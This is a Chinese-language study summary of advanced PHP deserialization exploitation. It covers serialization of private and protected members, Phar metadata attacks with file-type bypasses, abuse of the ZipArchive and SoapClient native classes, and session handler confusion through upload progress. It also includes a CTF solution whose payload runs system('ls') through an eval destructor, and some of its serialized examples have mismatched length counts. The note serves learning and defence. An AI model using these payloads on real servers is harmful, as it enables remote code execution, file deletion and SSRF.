PHP反序列化进阶学习与总结
字数 1368 2025-08-25 22:58:28
PHP反序列化进阶学习与总结
1. 私有和保护成员的序列化
1.1 Private类型序列化
Private成员在序列化时会在属性名前添加%00类名%00:
class Threezh1 {
private $text = 'phpinfo();';
}
序列化结果示例:
O:8:"Threezh1":1:{s:14:"Threezh1text";s:16:"echo "Threezh1";";}
实际存储中包含空字节,URL编码时需要表示为%00。
1.2 Protected类型序列化
Protected成员在序列化时会在属性名前添加%00*%00:
class Threezh1 {
protected $text = 'phpinfo();';
}
序列化结果示例:
O:8:"Threezh1":1:{s:7:"*text";s:16:"echo "Threezh1";";}
2. Phar反序列化
2.1 Phar文件结构
- stub:文件标识,必须以
__HALT_COMPILER();?>结尾 - manifest:存储压缩文件信息和用户自定义meta-data(序列化形式)
- content:被压缩文件内容
- signature:签名(可选)
2.2 生成Phar文件
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o); // 存储自定义meta-data
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
2.3 漏洞利用条件
- 能够上传phar文件到服务器
- 存在可用的魔术方法作为"跳板"
- 文件操作函数参数可控,且特殊字符未被过滤
2.4 受影响的函数
除常见文件函数外,还包括:
- exif系列函数
- gd图像处理函数
- hash系列函数
- getimagesize
- ZipArchive类
- compress.bzip2://和compress.zlib://协议
- Postgres的pgsqlCopyFromFile
- MySQL的LOAD DATA LOCAL INFILE
2.5 绕过文件格式限制
- 添加文件头如
GIF89a绕过类型检测 - 修改文件后缀为允许的类型
3. 原生类序列化利用
3.1 ZipArchive类利用
利用ZipArchive::open()的OVERWRITE标志删除文件:
class Profile {
public $username = "./sandbox/.htaccess";
public $password = "ZipArchive::OVERWRITE";
public $admin = new ZipArchive();
}
3.2 SoapClient类利用
利用SoapClient进行SSRF:
$target = 'http://127.0.0.1/test.php';
$b = new SoapClient(null, array(
'location' => $target,
'user_agent' => 'wupco^^Content-Type: application/x-www-form-urlencoded^^...',
'uri' => "aaab"
));
4. Session反序列化
4.1 不同序列化处理器差异
- php:
name|s:8:"Threezh1"; - php_binary:
names:8:"Threezh1"; - php_serialize:
a:1:{s:4:"name";s:8:"Threezh1";}
4.2 漏洞利用方法
- 使用
php_serialize处理器存储包含|的恶意序列化数据 - 使用
php处理器解析时触发反序列化
4.3 利用上传进度触发
当session.upload_progress.enabled开启时:
<form action="target.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="|恶意序列化数据" />
<input type="file" name="file" />
</form>
5. 实际案例
5.1 JarvisOJ PHPINFO题目
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __destruct() {
eval($this->mdzz);
}
}
利用步骤:
- 构造恶意序列化数据:
|O:5:"OowoO":1:{s:4:"mdzz";s:22:"print_r(system('ls'));";} - 通过文件上传触发session反序列化
- 获取flag路径后读取文件
6. 防御措施
- 避免用户可控数据参与反序列化
- 使用
object类型提示或is_object()检查 - 对序列化数据进行签名验证
- 限制反序列化类白名单
- 保持PHP版本更新,修复已知漏洞
7. 关键点总结
- Private/Protected成员序列化格式差异
- Phar文件结构及meta-data利用
- 多种触发phar反序列化的函数和协议
- 原生类(ZipArchive, SoapClient)的特殊利用方式
- Session处理器差异导致的漏洞
- 上传进度与session的交互利用